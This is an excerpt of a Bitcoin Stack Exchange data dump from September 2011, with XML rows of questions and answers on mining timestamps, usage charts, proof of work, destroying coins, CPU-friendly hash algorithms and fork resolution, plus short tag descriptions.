  <row Id="918" PostTypeId="2" ParentId="915" CreationDate="2011-09-12T17:49:00.553" Score="7" Body="&lt;p&gt;At least one mining pool &lt;a href=&quot;https://bitcointalk.org/index.php?topic=23768.msg460150#msg460150&quot;&gt;deliberately&lt;/a&gt; sets timestamps 6 minutes in the future and &lt;a href=&quot;http://blockexplorer.com/b/145045&quot;&gt;Block 145045&lt;/a&gt; appears to be from Eligius (the generation transaction is split into multiple addresses).&lt;/p&gt;&#xA;" OwnerUserId="280" LastEditorUserId="280" LastEditDate="2011-09-12T17:59:37.713" LastActivityDate="2011-09-12T17:59:37.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="919" PostTypeId="1" AcceptedAnswerId="920" CreationDate="2011-09-12T18:51:52.817" Score="14" ViewCount="1549" Body="&lt;p&gt;There is a lot of data out there about BTC prices, but are there any simple charts which show how much is Bitcoin really used? Something like number of Bitcoin transactions per day/week, or daily amount of bitcoins transferred, from the beginning to present?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data should be available in blockchain, but did anyone make pretty charts?&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2011-11-11T14:30:44.107" Title="Bitcoin usage charts" Tags="|transactions|blockchain|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="920" PostTypeId="2" ParentId="919" CreationDate="2011-09-12T19:06:17.030" Score="11" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info&lt;/a&gt; is an alternative to blockexplorer that has additional statistics regarding market prices, mining costs and bitcoins in general. There is some information there about transactions that might interest you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a chart with data from last year:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W8R38.jpg&quot; alt=&quot;Daily bitcoin transactions since Oct 2010&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A chart with &lt;a href=&quot;http://pi.uk.com/bitcoin/charts/bitcoin-days-destroyed-cumulative&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Days Destroyed&lt;/a&gt; is also available at the website. This might be a better way to represent Bitcoin's usage. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/845/what-are-bitcoin-days-destroyed&quot;&gt;this question&lt;/a&gt; and the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more information about Bitcoin Days Destroyed.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-11-11T14:30:44.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="921" PostTypeId="2" ParentId="907" CreationDate="2011-09-12T20:27:29.263" Score="2" Body="&lt;p&gt;Mining speed will not get close to zero if bitcoin remains on the road of success, because transaction fees will provide enough incentive to mine, even when the block reward (currently 50 BTC) is close to 0 (it halves roughly every 4 years). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you an idea what this could look like, let me estimate some numbers: In the year 2026, there might be around 500,000 transactions per block. Even one Satoshi (0.00000001 BTC) fee per transaction would easily suffice to support quite a secure mining network, because that would add up to 0.006 BTC fees and if bitcoin does 500,000 tx per block (that's about the number of transaction VISA does nowadays), 1 BTC would be valued maybe something like 100,000 USD, so those fees would be equivalent to USD 600, roughly the same as the 50 BTC incentive of today. Voilá.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least that's the idea. Wether or not it will work, remains to be seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a possibility of network hashing speed going close to zero: that can happen if bitcoin is being abandoned. Then we'll face the problem namecoin is currently facing: The next difficulty retarget takes a very long time to reach (namecoins next difficulty retarget will be around christmas) and transaction speed will be excrutiatingly slow. A possible solution in such a case would be to change the difficulty retarget rules, maybe along the lines of what SolidCoin is doing (more often, allow greater change).&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2011-09-12T20:27:29.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="922" PostTypeId="2" ParentId="148" CreationDate="2011-09-12T21:02:23.450" Score="110" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;mining&lt;/em&gt; is doing the &lt;em&gt;work&lt;/em&gt; of finding &lt;em&gt;nonce&lt;/em&gt; so that &lt;em&gt;sha256(sha256(data+nonce)) &amp;lt; difficulty&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;nonce&lt;/em&gt; is an integer number the miner chooses freely (this choosing of the nonce and checking if the condition (&lt;em&gt;&amp;lt; difficulty&lt;/em&gt;) is met comprises the &lt;em&gt;work&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;data&lt;/em&gt; is a hash over the contents of the block (transactions) and the previous block's hash&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;sha256()&lt;/em&gt; is the SHA-256 cryptographic hashing function (&lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-2&quot;&gt;wikpedia SHA-2 article&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;difficulty&lt;/em&gt; is a value that is adjusted consensually by the nodes of the bitcoin network to adjust for change in network computation power in order to have one block every 10 minutes found by the network&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The resulting &lt;em&gt;nonce&lt;/em&gt; is the &lt;em&gt;proof of work&lt;/em&gt;: since it's impossible to find &lt;em&gt;nonce&lt;/em&gt; without essentially trying different &lt;em&gt;nonces&lt;/em&gt; and calculating the two hash functions, having found a &lt;em&gt;nonce&lt;/em&gt; that satisfies the condition is proof this &lt;em&gt;work&lt;/em&gt; of searching and calculating has in fact been done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the central idea behind Bitcoin to solve the double spending problem: due to the inclusion of the previous block's hash in &lt;em&gt;data&lt;/em&gt; (this links the blocks to form a chain) and the fact that the honest nodes of the network always do their &lt;em&gt;work&lt;/em&gt; on the longest chain of blocks, a &lt;a href=&quot;http://en.wikipedia.org/wiki/Double-spending&quot;&gt;double spending&lt;/a&gt; attack involves calculating (and later publishing) a forked block chain in secret that is longer than the &quot;honest chain&quot; (containing the transaction that should be undone). &#xA;Due to the &lt;em&gt;work&lt;/em&gt; required to do this, this race can only be won if the attacker has greater computation power than the rest of the network together. Since using such computation power to honestly mine is likely more profitable than pulling a double-spend, the incentive for doing a double-spend attack is low.&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="41584" LastEditDate="2016-09-20T10:58:44.983" LastActivityDate="2016-09-20T10:58:44.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="923" PostTypeId="2" ParentId="902" CreationDate="2011-09-12T22:12:13.960" Score="2" Body="&lt;p&gt;Your question seems to be based on a misunderstanding. The patch simply allows you to &lt;strong&gt;do&lt;/strong&gt; merged mining. It doesn't add support for other people to do merged mining to Bitcoin, as that is not necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything placed in the Bitcoin hash chain will be secured by the Bitcoin mining process. If I put &quot;HAVE A NICE DAY&quot; into a transaction, as Eligius puts prayers, they will become a permanent part of the hash chain and will be secured by all the miners currently mining the Bitcoin hash chain whether they intend to secure it or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that is required is that it not be illegal according to Bitcoin rules. (Otherwise, the block would be rejected.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-12T22:12:13.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="924" PostTypeId="1" AcceptedAnswerId="928" CreationDate="2011-09-12T23:16:16.110" Score="24" ViewCount="3791" Body="&lt;p&gt;Its the hypothetical future and BTC2 is being designed. Everyone loves BTC2 and no-one wants the old BTC1 any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People who have BTC1 would be annoyed that their assets are suddently worth a lot less because there's no demand for their BTC1 any more, so the designers of BTC2 want to include a simple way to convert their BTC1 into BTC2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this to work, the BTC1 world would need a way for coins to be put beyond use within the BTC1 world, in a way that everyone can be reasonably sure that no-one can use the evaporated BTC1 assets any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a mechanism exist? If not, could/should one be added?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="15412" LastEditDate="2014-06-17T12:59:01.297" LastActivityDate="2014-06-17T13:25:52.247" Title="Can a bitcoin be destroyed?" Tags="|development|protocol|economic-theory|future-proof|destroy-bitcoins|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="925" PostTypeId="2" ParentId="924" CreationDate="2011-09-12T23:42:29.880" Score="1" Body="&lt;p&gt;Bitcoin or &quot;btc1&quot; already has a mechanism built in to prevent this; it is free open-source software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would make much more sense (for the majority of people) to improve upon Bitcoin than to make a new blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, a mechanism like your talking about does not exist in the Bitcoin core code. Nor do I think it should exist at present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The people making btc2 are typically doing so in a get-rich-quick-scheme that benefits themselves. Joining these alternatives instead of modifying the open source Bitcoin core just decreases the value of BTC. It doesn't make sense for the BTC community to migrate for these reasons...&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-12T23:42:29.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="926" PostTypeId="2" ParentId="919" CreationDate="2011-09-12T23:46:48.487" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; Gives charts and stats:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( FYI I am not affiliated with bitcoinwatch )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lqrlq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-09-12T23:46:48.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="927" PostTypeId="2" ParentId="331" CreationDate="2011-09-12T23:54:25.143" Score="4" Body="&lt;p&gt;&quot;Merged Mining&quot; (simultaneously mining on multiple block chains with the same amount of work)  may not be useful in a &quot;real-world&quot; sense, but at least it also produces Namecoins or Solidcoins or what have you in the process of producing Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-09-12T23:54:25.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="928" PostTypeId="2" ParentId="924" CreationDate="2011-09-13T00:01:12.813" Score="10" Body="&lt;p&gt;Sorry Alex, but you're wrong on the question being asked.  &lt;strong&gt;It's trivial to put bitcoins &quot;beyond use&quot; so that they can never be spent again.&lt;/strong&gt;  All you would have to do is send the bitcoins to a made up address, which no one would have a key to.  This has already been done, since coins have been sent to addresses which are almost certainly unowned (like the lowest possible hash that is a valid address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So specifically in your situation, &lt;strong&gt;the BTC2 people could use a public method of creating an address that no one owns the private keys to, then design their system to credit people who send BTC1 bitcoins to that address.&lt;/strong&gt;  One reason someone might want to do this despite the open-source nature of Bitcoin would be to create a new, incompatible protocol that grabs some of the user base of BTC1 without forcing anyone to leave, allowing the two to coexist and compete quite fairly.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2011-09-13T14:04:31.867" LastActivityDate="2011-09-13T14:04:31.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="929" PostTypeId="2" ParentId="924" CreationDate="2011-09-13T00:17:27.837" Score="2" Body="&lt;p&gt;It's possible to send your BTC1 to any unknown or invalid BTC1 address. (Not with the standard bitcoin client though.) With scripting enabled, there would be even more possibilities to send your bitcoins to nowhere.&#xA;This would allow the BTC2 protocol to accept BTC1 non-spendable transaction-outputs as base for BTC2 transactions. To be certain that the outputs are not spendable any more from BTC1, it is sufficient to enforce some special script format or address encoding that is incompatible with BTC1 spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real problem with that is that the full BTC1 logic has to be part of the BTC2 protocol. Also, the BTC1 block broadcasts have to be accessible to BTC2 miners (or whatever they are called), so they can check validity of BTC1 transactions. This does not seems to be a good idea at all…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal thoughts on the subject lead to this question &lt;a href=&quot;https://bitcoin.stackexchange.com/q/293&quot;&gt;Decentralized transactions between two decentralized currencies&lt;/a&gt;, which may describe a much smoother approach to currency “upgrades” (and not only that). But still waiting for answers there!&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2011-09-13T00:17:27.837" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="930" PostTypeId="2" ParentId="924" CreationDate="2011-09-13T00:59:02.253" Score="2" Body="&lt;p&gt;The solution would actually be simple. A specific transaction could be added to the BTC1 protocol that means &quot;transfer these coins to the BTC2 chain&quot;. Those mining BTC2 would also need to follow the BTC1 hash chain and permit transactions that import Bitcoins from the BTC1 chain, provided they're signed with the key the Bitcoins were exported to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The technical issues are fairly minor and all have fairly simple solutions. A BTC2 block that imported coins illegally would be invalid and rejected by other miners. A large number of confirmations in the BTC1 chain should be required to protect against double-spend attacks on the BTC1 chain causing coins to be duplicated into both chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real requirement is that at least the majority of miners of the BTC2 chain would have to track the BTC1 chain as well to validate 'import' transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that would be required in the BTC1 system is the existence of a transaction that makes coins unspendable inside the BTC1 chain and has room to encode a key that can claim the coins in the BTC2 chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether or not this is a good idea is another story.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-13T00:59:02.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="931" PostTypeId="1" AcceptedAnswerId="935" CreationDate="2011-09-13T01:06:13.253" Score="30" ViewCount="2881" Body="&lt;p&gt;The mining algorithm for Bitcoins (and most alternative but similar currencies as well) is purely computation hard, but not decision hard or memory hard. This caused the unexpected effect that GPUs are insanely good at mining and CPUs are so bad at mining that there's almost no point in using them to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has had many effects, including the concentration of mining into specialized hardware. Suppose that I think that's bad and would prefer that commodity CPUs be optimal for mining and that mining on them be practical. Given the requirements of mining, particularly that it work like a lottery and that valid results be quickly verifiable, are there algorithms that could have been chosen that would have resulted in commodity CPUs being the optimal miners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there algorithms that require lots of decisions and/or lots of memory that could serve as the mining algorithm on future crypto-currencies that would make CPU mining practical again and give everyone with a high-end CPU a reasonable chance at mining?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2016-01-21T10:03:06.080" LastActivityDate="2016-01-21T10:03:06.080" Title="Are there algorithms that could have been chosen for mining that balance CPU/GPU?" Tags="|mining-theory|asic-resistance|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="932" PostTypeId="2" ParentId="931" CreationDate="2011-09-13T02:29:27.513" Score="7" Body="&lt;p&gt;I suggest &lt;a href=&quot;http://bcrypt.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bcrypt&lt;/a&gt;. It is not a cryptographic hash function per se, but it could replace SHA-256 and add some memory constraints that would make its implementation harder on GPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bcrypt uses blowfish to encrypt a string with a key derived from a password chosen by the user. So given a string and a target, finding a password that encrypts the string below the target works exactly like the Bitcoin lottery.&lt;br&gt;&#xA;As for the memory constraints, it is possible to implement bcrypt on a GPU, but it is much harder (probably impossible) to get the same kind of performance improvements we see with SHA. Here is an excerpt from a post on &lt;a href=&quot;https://crypto.stackexchange.com/questions/400/why-cant-one-implement-bcrypt-in-cuda&quot;&gt;crypto stackexchange&lt;/a&gt; about implementing bcrypt with cuda:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now bcrypt is a variant of the Blowfish key scheduling, which is&#xA;  defined over a table (a few kilobytes) which is constantly accessed&#xA;  and modified throughout the algorithm. Due to the size of the table,&#xA;  each core will have to store it in the GPU main RAM, and they will&#xA;  compete for usage of the memory bus. So bcrypt will run -- but not&#xA;  with full parallelism. At any time, most cores will be stalled,&#xA;  waiting for the memory bus to become free.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2011-09-13T02:29:27.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="933" PostTypeId="1" CreationDate="2011-09-13T03:32:42.540" Score="9" ViewCount="1060" Body="&lt;p&gt;Let's say I have an online eCommerce solution running with a plugin that is designed to connect to a bitcoin daemon running on the same server, but I am too cheap to hire a vps or dedicated server, so instead I want to use an e-wallet service. Is there one operating that will give me a server address, username and password?&lt;/p&gt;&#xA;" OwnerUserId="369" LastActivityDate="2011-09-13T03:55:35.427" Title="Is there an online wallet service that will allow me to access an rpc server?" Tags="|bitcoind|e-wallet|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="934" PostTypeId="2" ParentId="933" CreationDate="2011-09-13T03:55:35.427" Score="4" Body="&lt;p&gt;It isn't free, but:&#xA; - &lt;a href=&quot;http://www.microthosting.com/bitcoin-servers.html&quot; rel=&quot;nofollow&quot;&gt;http://www.microthosting.com/bitcoin-servers.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/BitCoinD_Cloud_Hosting&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/BitCoinD_Cloud_Hosting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-13T03:55:35.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="935" PostTypeId="2" ParentId="931" CreationDate="2011-09-13T04:32:57.963" Score="16" Body="&lt;p&gt;The &lt;a href=&quot;http://www.tarsnap.com/scrypt.html&quot;&gt;scrypt key derivation function&lt;/a&gt; was explicitly designed to be resistant to hardware optimization, with an explicit trade-off allowed between memory and cpu usage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The scrypt key derivation function ... is designed to be far more secure against hardware brute-force attacks than alternative functions such as PBKDF2 or bcrypt.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This makes it better than SHA-256 or bcrypt if the intent is to give more of an advantage to CPUs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to include the same sort of variety of primitives that are provided for general purpose CPUs, e.g. a combination of floating point operations, access to large memories (perhaps including something that would use a large random access memory like a disk), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as Thilo point out, including some sort of anti-botnet feature might also be needed.  A CAPTCHA might also make it rather unpopular, but some sort of work load that would indeed be noticed by a regular computer user might make it hard to hide botnet activity.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-09-13T04:32:57.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="936" PostTypeId="1" AcceptedAnswerId="939" CreationDate="2011-09-13T07:33:08.697" Score="23" ViewCount="4445" Body="&lt;p&gt;Is it only the block height or is it the effort that went into the forks? In other words: does this decision account for different difficulties?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="5406" LastEditDate="2018-05-04T17:04:19.733" LastActivityDate="2018-05-04T17:04:19.733" Title="How does a client decide which is the longest block chain if there is a fork?" Tags="|blockchain|security|blockchain-fork|best-chain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="937" PostTypeId="2" ParentId="214" CreationDate="2011-09-13T08:25:29.680" Score="4" Body="&lt;p&gt;Silkroad is a &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Hidden Service&lt;/a&gt; enabling supply and demand of/for (mostly illegal) goods &amp;amp; services to meet. Its onion address is &lt;a href=&quot;http://silkroadvb5piz3r.onion/&quot; rel=&quot;nofollow&quot;&gt;http://silkroadvb5piz3r.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Silkroad does not itself engage in selling goods or services, but merely offers a marketplace for doing this. Neither does it engage in handling payment or delivery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A reputation system is in place to weed out the bad suppliers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to visit Silkroad you must make use of the &lt;a href=&quot;http://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor Network&lt;/a&gt; and Onion Name Resolution. There are many HowTos on this, here is &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="659" LastEditDate="2012-02-05T04:11:08.003" LastActivityDate="2012-02-05T04:11:08.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="938" PostTypeId="2" ParentId="936" CreationDate="2011-09-13T08:51:20.693" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;According to the Satoshi paper&lt;/a&gt;, the following applies:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The steps to run the network are as follows: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1) New transactions are&#xA;  broadcast to all nodes. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) Each node collects new transactions into a&#xA;  block. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3) Each node works on finding a difficult proof-of-work for its&#xA;  block. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;4) When a node finds a proof-of-work, it broadcasts the block&#xA;  to all nodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;5) Nodes accept the block only if all transactions in it&#xA;  are valid and not already spent. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;6) Nodes express their acceptance of the block by working on creating the next block in the chain, using the hash of the accepted block as the previous hash. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Nodes always consider the longest chain to be the correct one and will keep working&#xA;  on extending it. If two nodes broadcast different versions of the next&#xA;  block simultaneously, some nodes may receive one or the other first.&#xA;  In that case, they work on the first one they received, but save the&#xA;  other branch in case it becomes longer. The tie will be broken when&#xA;  the next proofof- work is found and one branch becomes longer; the&#xA;  nodes that were working on the other branch will then switch to the&#xA;  longer one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That pretty much sums it up. If you have more valid blocks, you win until someone comes along with more valid blocks. &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="307" LastEditDate="2011-10-14T21:26:17.327" LastActivityDate="2011-10-14T21:26:17.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="939" PostTypeId="2" ParentId="936" CreationDate="2011-09-13T09:15:10.730" Score="28" Body="&lt;p&gt;Gary's answer is not entirely correct. When comparing two chains, their total &quot;scores&quot; are compared.&#xA;Each block counts as (2^256 / block_target); this is the expected/average number of attempts that were necessary to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, within one series of 2016 blocks, the difficulties are all equal, so for most small reorganizations, the score will tell you the same thing as just counting the number of blocks. However, as an attacker may well try to rewrite blocks that cross the multiple-of-2016-boundary, you need to take this into account. The actual rule always favors the chains which required the most &quot;work&quot;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2011-09-13T09:15:10.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="940" PostTypeId="2" ParentId="36" CreationDate="2011-09-13T10:19:32.843" Score="1" Body="&lt;p&gt;There is a paper by Fergal Reid and Martin Harrigan of University College Dublin, Ireland. PDF can be downloaded &lt;a href=&quot;http://arxiv.org/abs/1107.4524&quot; rel=&quot;nofollow&quot;&gt;from this page&lt;/a&gt;. It's called &lt;em&gt;&quot;An Analysis of Anonymity in the Bitcoin System&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It describes, amongst other things, methods and tools for building a &lt;em&gt;Transaction Network&lt;/em&gt; and &lt;em&gt;User Network&lt;/em&gt; from the data taken from the blockchain and from &lt;em&gt;external sources&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2011-09-13T10:19:32.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="941" PostTypeId="2" ParentId="116" CreationDate="2011-09-13T10:22:24.667" Score="20" Body="&lt;p&gt;Your coins still exist, but &lt;em&gt;your ability to use them&lt;/em&gt; is gone. No one knows this, as they still appear to be perfectly valid. And, in fact, if you ever recovered your wallet somehow (say you discovered a backup on a USB key somewhere), you could then spend them.&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="24925" LastEditDate="2015-09-25T08:49:31.840" LastActivityDate="2015-09-25T08:49:31.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="942" PostTypeId="5" CreationDate="2011-09-13T16:32:14.100" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T16:32:14.100" LastActivityDate="2011-09-13T16:32:14.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="943" PostTypeId="4" CreationDate="2011-09-13T16:32:14.100" Score="0" Body="Merged mining is a technique where the same proof of work can be used to secure more than one block in different hash chains. This allows a miner to mine more than one currency at a time and contribute his hashing power to all of them." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-13T17:26:26.710" LastActivityDate="2011-09-13T17:26:26.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="944" PostTypeId="5" CreationDate="2011-09-13T16:34:33.563" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T16:34:33.563" LastActivityDate="2011-09-13T16:34:33.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="945" PostTypeId="4" CreationDate="2011-09-13T16:34:33.563" Score="0" Body="Arbitrage is a form of trading where two trades are made at the same time by the same party for the same good. The net effect of the two transactions is a profit for the party that made the two trades. Arbitrage takes advantage of price discrepancies, generally in different markets for the same good." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-13T17:26:36.787" LastActivityDate="2011-09-13T17:26:36.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="946" PostTypeId="5" CreationDate="2011-09-13T16:36:19.177" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T16:36:19.177" LastActivityDate="2011-09-13T16:36:19.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="947" PostTypeId="4" CreationDate="2011-09-13T16:36:19.177" Score="0" Body="The alert system allowed sending messages about critical network problems to all Bitcoin nodes. It was retired in 2016." OwnerUserId="85" LastEditorUserId="121614" LastEditDate="2023-02-10T16:32:11.900" LastActivityDate="2023-02-10T16:32:11.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="948" PostTypeId="5" CreationDate="2011-09-13T16:38:44.977" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T16:38:44.977" LastActivityDate="2011-09-13T16:38:44.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="949" PostTypeId="4" CreationDate="2011-09-13T16:38:44.977" Score="0" Body="Fraud is the use of intentional deception for financial gain." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-13T17:26:44.337" LastActivityDate="2011-09-13T17:26:44.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="950" PostTypeId="5" CreationDate="2011-09-13T16:41:26.737" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2011-09-13T16:41:26.737" LastActivityDate="2011-09-13T16:41:26.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="951" PostTypeId="4" CreationDate="2011-09-13T16:41:26.737" Score="0" Body="Trust is when one party relies upon the representations made by another party such that the relying party would be harmed if the representations were inaccurate. Trust exists between users of crypto-currencies and the developers of the software they use, between mining pool managers and their miners, and between exchanges or e-wallet services and their users." OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-13T17:26:47.020" LastActivityDate="2011-09-13T17:26:47.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
